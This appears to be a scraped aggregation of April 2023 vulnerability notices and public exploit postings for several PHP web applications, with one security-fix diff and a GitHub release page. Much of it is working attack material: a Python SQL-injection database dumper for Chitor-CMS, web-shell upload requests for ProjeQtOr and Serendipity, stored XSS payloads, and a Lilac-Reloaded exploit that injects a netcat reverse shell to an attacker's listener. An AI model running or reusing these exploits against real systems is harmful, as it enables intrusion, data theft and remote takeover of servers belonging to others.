A vulnerability was found in Campcodes Retro Basketball Shoes Online Store 1.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file /function/login.php. The manipulation of the argument email leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-226970 is the identifier assigned to this vulnerability.

CVE-2023-2205

Improper Access Control in GitHub repository francoisjacquet/rosariosis prior to 10.9.3.

@@ -497,27 +497,31 @@ var ajaxPopState = function() {

\* @link https://stackoverflow.com/questions/17432899/javascript-bfcache-pageshow-event-event-persisted-always-set-to-false

\* @link https://huntr.dev/bounties/efe6ef47-d17c-4773-933a-4836c32db85c/

\*/

if (window.performance && (performance.navigation.type \== 2

|| (performance.getEntriesByType

&& performance.getEntriesByType("navigation")\[0\]

&& performance.getEntriesByType("navigation")\[0\].type \=== 'back\_forward'))) {

location.reload();

}

function browserHistoryCacheBuster(event) {

if (location.href.indexOf('Modules.php?') \=== \-1) {

// Current page is not Modules.php, no login required, skip.

return;

}

  

window.onpageshow\=function(event) {

/\*\*

\* Same as above for Safari (does not execute Javascript on history back)

\* persisted indicates if the document is loading from a cache (not reliable)

\*

\* @link https://web.dev/bfcache/

\*/

if (event.persisted

// persisted indicates if the document is loading from a cache (not reliable)

if ((event && event.persisted)

|| window.performance && (performance.navigation.type \== 2

|| (performance.getEntriesByType

&& performance.getEntriesByType("navigation")\[0\]

&& performance.getEntriesByType("navigation")\[0\].type \=== 'back\_forward'))) {

location.reload();

}

}

  

browserHistoryCacheBuster();

  

/\*\*

\* onpageshow: Same as above for Safari (does not execute Javascript on history back)

\*

\* @link https://web.dev/bfcache/

\*/

window.onpageshow\=function(event) {

browserHistoryCacheBuster(event);

};

  

// onunload: Fix for Firefox to execute Javascript on history back.

CVE-2023-2202: Security Fix browser loading cached page when page full reload (F5) +… · francoisjacquet/rosariosis@6433946

Sourcecodester Judging Management System v1.0 is vulnerable to SQL Injection via /php-jms/print_judges.php?print_judges.php=&se_name=&sub_event_id=.

**Judging Management System v1.0 by oretnom23 has SQL injection**

vendors: https://www.sourcecodester.com/php/15910/judging-management-system-using-php-and-mysql-free-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /php-jms/print\_judges.php?print\_judges.php=&se\_name=&sub\_event\_id=

Vulnerability location: /php-jms/print\_judges.php?print\_judges.php=&se\_name=&sub\_event\_id=, sub\_event\_id

dbname =jms\_db

\[+\] Payload: /php-jms/print\_judges.php?print\_judges.php=&se\_name=&sub\_event\_id=1%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)--+ // Leak place ---> sub\_event\_id

​sql GET /php-jms/print_judges.php?print_judges.php=&se_name=&sub_event_id=1%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)--+ HTTP/1.1 Host: 192.168.1.88 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Cookie: PHPSESSID=f6bhcgo222sk31fnm99nf9tjt1 Connection: close ​

CVE-2023-30076: cve_report/SQLi-2.md at main · Dzero57/cve_report

Chitor-CMS version 1.1.2 suffers from a remote SQL injection vulnerability.

    #!/usr/bin/python3########################################################                                                     # #  Exploit Title: Chitor-CMS v1.1.2 - Pre-Auth SQL Injection          ##  Date: 2023/04/13               ##  ExploitAuthor: msd0pe                                  ##  Project: https://github.com/waqaskanju/Chitor-CMS  ##  My Github: https://github.com/msd0pe-1             ##  Patched the 2023/04/16: 69d3442 commit             ##                                                     ########################################################__description__ = 'Chitor-CMS < 1.1.2 Pre-Auth SQL Injection.'__author__ = 'msd0pe'__version__ = '1.1'__date__ = '2023/04/13'class bcolors:    PURPLE = '\033[95m'    BLUE = '\033[94m'    GREEN = '\033[92m'    OCRA = '\033[93m'    RED = '\033[91m'    CYAN = '\033[96m'    ENDC = '\033[0m'    BOLD = '\033[1m'    UNDERLINE = '\033[4m'class infos:    INFO = "[" + bcolors.OCRA + bcolors.BOLD + "?" + bcolors.ENDC + bcolors.ENDC + "] "    ERROR = "[" + bcolors.RED + bcolors.BOLD + "X" + bcolors.ENDC + bcolors.ENDC + "] "    GOOD = "[" + bcolors.GREEN + bcolors.BOLD + "+" + bcolors.ENDC + bcolors.ENDC + "] "    PROCESS = "[" + bcolors.BLUE + bcolors.BOLD + "*" + bcolors.ENDC + bcolors.ENDC + "] "import reimport requestsimport optparsefrom prettytable import PrettyTabledef DumpTable(url, database, table):    header = {"User-Agent": "5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"}    x = PrettyTable()    columns = []    payload = "/edit_school.php?id=-2164' UNION ALL SELECT NULL%2CNULL%2CCONCAT(0x71707a6b71%2CJSON_ARRAYAGG(CONCAT_WS(0x787a6d64706c%2Ccolumn_name))%2C0x716a6b6271) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=\"" + table + "\" AND table_schema=\"" + database + "\"-- -"    u = requests.get(url + payload, headers=header)    try:        r = re.findall("qpzkq\[(.*?)\]qjkbq",u.text)        r = r[0].replace('\"',"").split(',')        if r == []:            pass        else:            for i in r:                columns.append(i)                pass    except:        pass    x.field_names = columns    payload = "/edit_school.php?id=-2164' UNION ALL SELECT NULL%2CNULL%2CCONCAT(0x71707a6b71%2CJSON_ARRAYAGG(CONCAT_WS(0x787a6d64706c%2C " + str(columns).replace("[","").replace("]","").replace("\'","").replace(" ","") + "))%2C0x716a6b6271) FROM " + database + "." + table + "-- -"    u = requests.get(url + payload, headers=header)    try:        r = re.findall("qpzkq\[(.*?)\]qjkbq",u.text)        r = r[0].replace('\"',"").split(',')        if r == []:            pass        else:            for i in r:                i = i.split("xzmdpl")                x.add_rows([i])    except ValueError:        r = re.findall("qpzkq\[(.*?)\]qjkbq",u.text)        r = r[0].replace('\"',"").split(',')        if r == []:            pass        else:            for i in r:                i = i.split("xzmdpl")                i.append("")                x.add_rows([i])            print(x)def ListTables(url, database):    header = {"User-Agent": "5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"}    x = PrettyTable()    x.field_names = ["TABLES"]    payload = "/edit_school.php?id=-2164' UNION ALL SELECT NULL%2CNULL%2CCONCAT(0x71707a6b71%2CJSON_ARRAYAGG(CONCAT_WS(0x787a6d64706c%2Ctable_name))%2C0x716a6b6271) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x" + str(database).encode('utf-8').hex() + ")-- -"    u = requests.get(url + payload, headers=header)    try:        r = re.findall("qpzkq\[(.*?)\]qjkbq",u.text)        r = r[0].replace('\"',"").split(',')        if r == []:            pass        else:            for i in r:                x.add_row([i])    except:        pass    print(x)def ListDatabases(url):    header = {"User-Agent": "5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"}    x = PrettyTable()    x.field_names = ["DATABASES"]    payload = "/edit_school.php?id=-2164' UNION ALL SELECT NULL%2CNULL%2CCONCAT(0x71707a6b71%2CJSON_ARRAYAGG(CONCAT_WS(0x787a6d64706c%2Cschema_name))%2C0x716a6b6271) FROM INFORMATION_SCHEMA.SCHEMATA-- -"    u = requests.get(url + payload, headers=header)    try:        r = re.findall("qpzkq\[(.*?)\]qjkbq",u.text)        r = r[0].replace('\"',"").split(',')        if r == []:            pass        else:            for i in r:                x.add_row([i])    except:        pass    print(x)def Main():    Menu = optparse.OptionParser(usage='python %prog [options]', version='%prog ' + __version__)    Menu.add_option('-u', '--url', type="str", dest="url", help='target url')    Menu.add_option('--dbs', action="store_true", dest="l_databases", help='list databases')    Menu.add_option('-D', '--db', type="str", dest="database", help='select a database')    Menu.add_option('--tables', action="store_true", dest="l_tables", help='list tables')    Menu.add_option('-T', '--table', type="str", dest="table", help='select a table')    Menu.add_option('--dump', action="store_true", dest="dump", help='dump the content')    (options, args) = Menu.parse_args()    Examples = optparse.OptionGroup(Menu, "Examples", """python3 chitor1.1.py -u http://127.0.0.1 --dbs                                                         python3 chitor1.1.py -u http://127.0.0.1 -D chitor_db --tables                                                         python3 chitor1.1.py -u http://127.0.0.1 -D chitor_db -T login --dump    """)    Menu.add_option_group(Examples)    if len(args) != 0 or options == {'url': None, 'l_databases': None, 'database': None, 'l_tables': None, 'table': None, 'dump': None}:        Menu.print_help()        print('')        print('  %s' % __description__)        print('  Source code put in public domain by ' + bcolors.PURPLE + bcolors.BOLD + 'msd0pe' + bcolors.ENDC + bcolors.ENDC + ',' + bcolors.RED + bcolors.BOLD + 'no Copyright' + bcolors.ENDC + bcolors.ENDC)        print('  Any malicious or illegal activity may be punishable by law')        print('  Use at your own risk')    elif len(args) == 0:        try:            if options.url != None:                if options.l_databases != None:                    ListDatabases(options.url)                if options.database != None:                    if options.l_tables != None:                        ListTables(options.url, options.database)                    if options.table != None:                        if options.dump != None:                            DumpTable(options.url, options.database, options.table)        except:            print("Unexpected error")if __name__ == '__main__':    try:        Main()    except KeyboardInterrupt:        print()        print(infos.PROCESS + "Exiting...")        print()        exit(1)

Chitor-CMS 1.1.2 SQL Injection

ProjeQtOr Project Management System version 10.3.2 suffers from a remote shell upload vulnerability.

Exploit Title: ProjeQtOr Project Management System 10.3.2   -Remote Code Execution (RCE)  
Application: ProjeQtOr Project Management System  
Version: 10.3.2  
Bugs:  Remote Code Execution (RCE) (Authenticated) via file upload  
Technology: PHP  
Vendor URL: https://www.projeqtor.org  
Software Link: https://sourceforge.net/projects/projectorria/files/projeqtorV10.3.2.zip/download  
Date of found: 19.04.2023  
Author: Mirabbas Ağalarov  
Tested on: Linux 

2. Technical Details & POC  
========================================  
Possible including php file with phar extension while uploading image. Rce is triggered when we visit again

Payload:<?php echo system("id"); ?>

poc request:

POST /projeqtor/tool/saveAttachment.php?csrfToken= HTTP/1.1  
Host: localhost  
Content-Length: 1177  
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"  
Accept: application/json  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryY0bpJaQzcvQberWR  
X-Requested-With: XMLHttpRequest  
sec-ch-ua-mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36  
sec-ch-ua-platform: "Linux"  
Origin: http://localhost  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: http://localhost/projeqtor/view/main.php  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: currency=USD; PHPSESSID=2mmnca4p7m93q1nmbg6alskiic  
Connection: close

------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentFiles[]"; filename="miri.phar"  
Content-Type: application/octet-stream

<?php echo system("id"); ?>

------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentId"

------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentRefType"

User  
------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentRefId"

1  
------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentType"

file  
------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10485760  
------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentLink"

------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentDescription"

------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentPrivacy"

1  
------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="uploadType"

html5  
------WebKitFormBoundaryY0bpJaQzcvQberWR--

visit: http://localhost/projeqtor/files/attach/attachment_5/miri.phar

ProjeQtOr Project Management System 10.3.2 Shell Upload

Piwigo version 13.6.0 suffers from a persistent cross site scripting vulnerability.

    Exploit Title: Piwigo 13.6.0 - Stored Cross-Site Scripting (XSS)Application: PiwigoVersion: 13.6.0 Bugs:  Stored XSSTechnology: PHPVendor URL: https://piwigo.org/Software Link: https://piwigo.org/get-piwigoDate of found: 18.04.2023Author: Mirabbas AğalarovTested on: Linux 2. Technical Details & POC========================================steps: 1.After uploading the image, we write <img%20src=x%20onerror=alert(4)> instead of the tag(keyword) while editing the image)payload: <img%20src=x%20onerror=alert(4)>POST /piwigo/admin.php?page=photo-9 HTTP/1.1Host: localhostContent-Length: 159Cache-Control: max-age=0sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Linux"Upgrade-Insecure-Requests: 1Origin: http://localhostContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://localhost/piwigo/admin.php?page=photo-9Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: pwg_id=u7tjlue5o3vj7fbgb0ikodmb9m; phavsz=1394x860x1; pwg_display_thumbnail=display_thumbnail_classic; pwg_tags_per_page=100; phpbb3_ay432_k=; phpbb3_ay432_u=2; phpbb3_ay432_sid=9240ca5fb9f93c8ebc8ff7bd42c380feConnection: closename=Untitled&author=&date_creation=&associate%5B%5D=1&tags%5B%5D=<img%20src=x%20onerror=alert(3)>&description=&level=0&pwg_token=bad904d2c7ec866bfba391bfc130ddd2&submit=Save+settings

Piwigo 13.6.0 Cross Site Scripting

Lilac-Reloaded for Nagios version 2.0.l8 remote code execution exploit.

    #!/usr/bin/env python"""# Exploit Title: Lilac-Reloaded for Nagios 2.0.8 - Remote Code Execution (RCE)# Google Dork: N/A# Date: 2023-04-13# Exploit Author: max / Zoltan Padanyi# Vendor Homepage: https://exchange.nagios.org/directory/Addons/Configuration/Lilac-2DReloaded/visit# Software Link: https://sourceforge.net/projects/lilac--reloaded/files/latest/download# Version: 2.0.8# Tested on: Debian 7.6# CVE : N/AThe autodiscovery feature lacks any kind of input filtering, so we can add our own commands there terminated with a ;Use at your own risk!RCA - wild exec is ongoing without any filteringin library/Net/Traceroute.php   181      function _setTraceroutePath($sysname)   182      {   183          $status    = '';   184          $output    = array();   185          $traceroute_path = '';   186   187          if ("windows" == $sysname) {   188              return "tracert";   189          } else {   190              $traceroute_path = exec("which traceroute", $output, $status);   [...]   257      function traceroute($host)   258      {   259   260          $argList = $this->_createArgList();   261          $cmd = $this->_traceroute_path." ".$argList[0]." ".$host." ".$argList[1];   262          exec($cmd, $this->_result);"""import requestsimport argparseparser = argparse.ArgumentParser()parser.add_argument("-u", "--url", help="The full path of the autodiscover.php in lilac (i.e. http://127.0.0.1/lilac/autodiscovery.php", required=True)parser.add_argument("-i", "--ip", help="Listener IP", required=True)parser.add_argument("-p", "--port", help="Listener port", required=True, type=int)args = parser.parse_args()rev_shell = f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {args.ip} {args.port} >/tmp/f;"body = {"request":"autodiscover","job_name":"HackThePlanet","job_description":"HackThePlanet","nmap_binary":rev_shell,"default_template":"","target[2]":"1.1.1.1"}try:    r = requests.get(args.url)    if r.ok:      print("[+] URL looks good...moving forward...")      print("[+] Sending exploit in...")      r = requests.post(args.url,data=body)      if r.ok:        print("[+] Got HTTP 200, check your listener!")    else:      print("[-] Some kind of error happened, check the http response below!")      print(r.text)except Exception as e:  print("General exception: " + str(e))

Lilac-Reloaded For Nagios 2.0.8 Remote Code Execution

Serendipity version 2.4.0 suffers from a cross site scripting vulnerability.

    Exploit Title: Serendipity 2.4.0 - Cross-Site Scripting (XSS)Author: Mirabbas AğalarovApplication: SerendipityVersion: 2.4.0Bugs:  Stored XSSTechnology: PHPVendor URL: https://docs.s9y.org/Software Link: https://docs.s9y.org/downloads.htmlDate of found: 13.04.2023Tested on: Linux 2. Technical Details & POC========================================steps: 1.Anyone who has the authority to create the new entry can do thispayload: hello%3Cimg+src%3Dx+onerror%3Dalert%283%29%3EPOST /serendipity/serendipity_admin.php? HTTP/1.1Host: localhostContent-Length: 730Cache-Control: max-age=0sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Linux"Upgrade-Insecure-Requests: 1Origin: http://localhostContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://localhost/serendipity/serendipity_admin.php?serendipity[adminModule]=entries&serendipity[adminAction]=newAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: serendipity[old_session]=st6cvq3rea6l8dqgjs1nla6s1b; serendipity[author_token]=c74c7da50976c82e628d7a8dfdb7c9e3ebc8188b; serendipity[toggle_extended]=; serendipity[entrylist_filter_author]=; serendipity[entrylist_filter_category]=; serendipity[entrylist_filter_isdraft]=; serendipity[entrylist_sort_perPage]=; serendipity[entrylist_sort_ordermode]=; serendipity[entrylist_sort_order]=; s9y_6991e531dd149036decdb14ae857486a=st6cvq3rea6l8dqgjs1nla6s1bConnection: closeserendipity%5Baction%5D=admin&serendipity%5BadminModule%5D=entries&serendipity%5BadminAction%5D=save&serendipity%5Bid%5D=&serendipity%5Btimestamp%5D=1681366826&serendipity%5Bpreview%5D=false&serendipity%5Btoken%5D=ae9b8ae35a756c24f9552a021ee81d56&serendipity%5Btitle%5D=asdf&serendipity%5Bbody%5D=hello%3Cimg+src%3Dx+onerror%3Dalert%283%29%3E&serendipity%5Bextended%5D=&serendipity%5Bchk_timestamp%5D=1681366826&serendipity%5Bnew_date%5D=2023-04-13&serendipity%5Bnew_time%5D=10%3A20&serendipity%5Bisdraft%5D=false&serendipity%5Ballow_comments%5D=true&serendipity%5Bpropertyform%5D=true&serendipity%5Bproperties%5D%5Baccess%5D=public&ignore_password=&serendipity%5Bproperties%5D%5Bentrypassword%5D=&serendipity%5Bchange_author%5D=12. visit the entry you created

Serendipity 2.4.0 Cross Site Scripting

Serendipity version 2.4.0 suffers from a remote shell upload vulnerability.

Exploit Title: Serendipity 2.4.0  - Remote Code Execution (RCE) (Authenticated)  
Application: Serendipity   
Version:  2.4.0   
Bugs:  Remote Code Execution (RCE) (Authenticated) via file upload  
Technology: PHP  
Vendor URL: https://docs.s9y.org/  
Software Link: https://docs.s9y.org/downloads.html  
Date of found: 13.04.2023  
Author: Mirabbas Ağalarov  
Tested on: Linux 

2. Technical Details & POC  
========================================  
If we load the poc.phar file in the image field while creating a category, we can run commands on the system.  
<?php echo system("cat /etc/passwd"); ?>  
 I wrote a file with the above payload, a poc.phar extension, and uploaded it.

Visit to http://localhost/serendipity/uploads/poc.phar

poc request:

POST /serendipity/serendipity_admin.php?serendipity[adminModule]=media&serendipity[htmltarget]=category_icon&serendipity[filename_only]=true&serendipity[noBanner]=true&serendipity[noSidebar]=true&serendipity[noFooter]=true&serendipity[showUpload]=true&serendipity[showMediaToolbar]=false&serendipity[sortorder][perpage]=8&serendipity[sortorder][order]=i.date&serendipity[sortorder][ordermode]=DESC HTTP/1.1  
Host: localhost  
Content-Length: 1561  
Cache-Control: max-age=0  
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"  
sec-ch-ua-mobile: ?0  
sec-ch-ua-platform: "Linux"  
Upgrade-Insecure-Requests: 1  
Origin: http://localhost  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZWKPiba66PSVGQzc  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: iframe  
Referer: http://localhost/serendipity/serendipity_admin.php?serendipity[adminModule]=media&serendipity[adminAction]=addSelect&serendipity[adminModule]=media&serendipity[htmltarget]=category_icon&serendipity[filename_only]=true&serendipity[noBanner]=true&serendipity[noSidebar]=true&serendipity[noFooter]=true&serendipity[showUpload]=true&serendipity[showMediaToolbar]=false&serendipity[sortorder][perpage]=8&serendipity[sortorder][order]=i.date&serendipity[sortorder][ordermode]=DESC  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: serendipity[old_session]=st6cvq3rea6l8dqgjs1nla6s1b; serendipity[author_token]=430b341df3f78f52691c8cf935fa04e1c05854df; serendipity[toggle_extended]=; serendipity[entrylist_filter_author]=; serendipity[entrylist_filter_category]=; serendipity[entrylist_filter_isdraft]=; serendipity[entrylist_sort_perPage]=; serendipity[entrylist_sort_ordermode]=; serendipity[entrylist_sort_order]=; serendipity[only_path]=; serendipity[only_filename]=; serendipity[hideSubdirFiles]=; serendipity[addmedia_directory]=; serendipity[sortorder_perpage]=8; serendipity[sortorder_order]=i.date; serendipity[sortorder_ordermode]=DESC; serendipity[filter][i.date][from]=; serendipity[filter][i.date][to]=; serendipity[filter][i.name]=; serendipity[imgThumbWidth]=400; serendipity[imgThumbHeight]=267; serendipity[imgWidth]=1000; serendipity[imgHeight]=667; serendipity[imgID]=1; serendipity[baseURL]=http%3A//localhost/serendipity/; serendipity[indexFile]=index.php; serendipity[imgName]=/serendipity/uploads/photo-1575936123452-b67c3203c357.jpeg; serendipity[thumbName]=/serendipity/uploads/photo-1575936123452-b67c3203c357.serendipityThumb.jpeg; serendipity[hotlink]=; serendipity[serendipity_htmltarget]=category_icon; serendipity[serendipity_filename_only]=true; serendipity[serendipity_linkThumbnail]=no; serendipity[]=Done; accessibletab_mediaupload_tabs_active=0; serendipity[filter][fileCategory]=; s9y_6991e531dd149036decdb14ae857486a=st6cvq3rea6l8dqgjs1nla6s1b  
Connection: close

------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[token]"

ae9b8ae35a756c24f9552a021ee81d56  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[action]"

admin  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[adminModule]"

media  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[adminAction]"

add  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[userfile][1]"; filename="poc.phar"  
Content-Type: application/octet-stream

<?php echo system("cat /etc/passwd");?>

------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[target_filename][1]"

poc.phar  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[target_directory][1]"

------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[column_count][1]"

true  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[imageurl]"

------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[imageimporttype]"

image  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[target_filename][]"

------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[target_directory][]"

------WebKitFormBoundaryZWKPiba66PSVGQzc--

poc video :  https://youtu.be/_VrrKOTywgo

Serendipity 2.4.0 Shell Upload

A vulnerability has been found in I Recommend This Plugin up to 3.7.2 on WordPress and classified as critical. Affected by this vulnerability is an unknown functionality of the file dot-irecommendthis.php. The manipulation leads to sql injection. The attack can be launched remotely. Upgrading to version 3.7.3 is able to address this issue. The name of the patch is 058b3ef5c7577bf557557904a53ecc8599b13649. It is recommended to upgrade the affected component. The identifier VDB-226309 was assigned to this vulnerability.

Skip to content

Sign up

*   *   Actions
        
        Automate any workflow
        
    *   Packages
        
        Host and manage packages
        
    *   Security
        
        Find and fix vulnerabilities
        
    *   Codespaces
        
        Instant dev environments
        
    *   Copilot
        
        Write better code with AI
        
    *   Code review
        
        Manage code changes
        
    *   Issues
        
        Plan and track work
        
    *   Discussions
        
        Collaborate outside of code
        
    
    Explore
    
    *   All features
    *   Documentation
    *   GitHub Skills
    *   Blog
    
*   For
    
    *   Enterprise
    *   Teams
    *   Startups
    *   Education
    
    By Solution
    
    *   CI/CD & Automation
    *   DevOps
    *   DevSecOps
    
    Case Studies
    
    *   Customer Stories
    *   Resources
    
*   *   GitHub Sponsors
        
        Fund open source developers
        
    
    *   The ReadME Project
        
        GitHub community articles
        
    
    Repositories
    
    *   Topics
    *   Trending
    *   Collections
    
*   Pricing

*   In this repository All GitHub
    

*   No suggested jump to results

*   In this repository All GitHub
    
*   In this organization All GitHub
    
*   In this repository All GitHub
    

Sign in

Sign up

wp-plugins / **i-recommend-this** Public

*   Notifications
*   Fork 0
*   Star 0
    

*   Code
*   Pull requests
*   Actions
*   Projects
*   Security
*   Insights

More

Releases Tags

*   3.7.3
*   0dd1cb3

*   Compare
    
    Choose a tag to compare
    

3.7.3: Fixed a Possible SQL injection vulnerability reported by \[Oskar Adin\]…

*   3.7.3
*   0dd1cb3
*   Compare
    
    Choose a tag to compare
    

tagged this

24 Sep 17:35

…(https://github.com/osadi) and fixed by \[Danny van Kooten\](https://twitter.com/DannyvanKooten).

git-svn-id: https://plugins.svn.wordpress.org/i-recommend-this/tags/3.7.3@996219 b8457f37-d9ea-0310-8a92-e5e31aec5664

Assets 2

*   Source code (zip)
    
    2014-09-24T17:35:51Z
    
*   Source code (tar.gz)
    
    2014-09-24T17:35:51Z

Tag

#php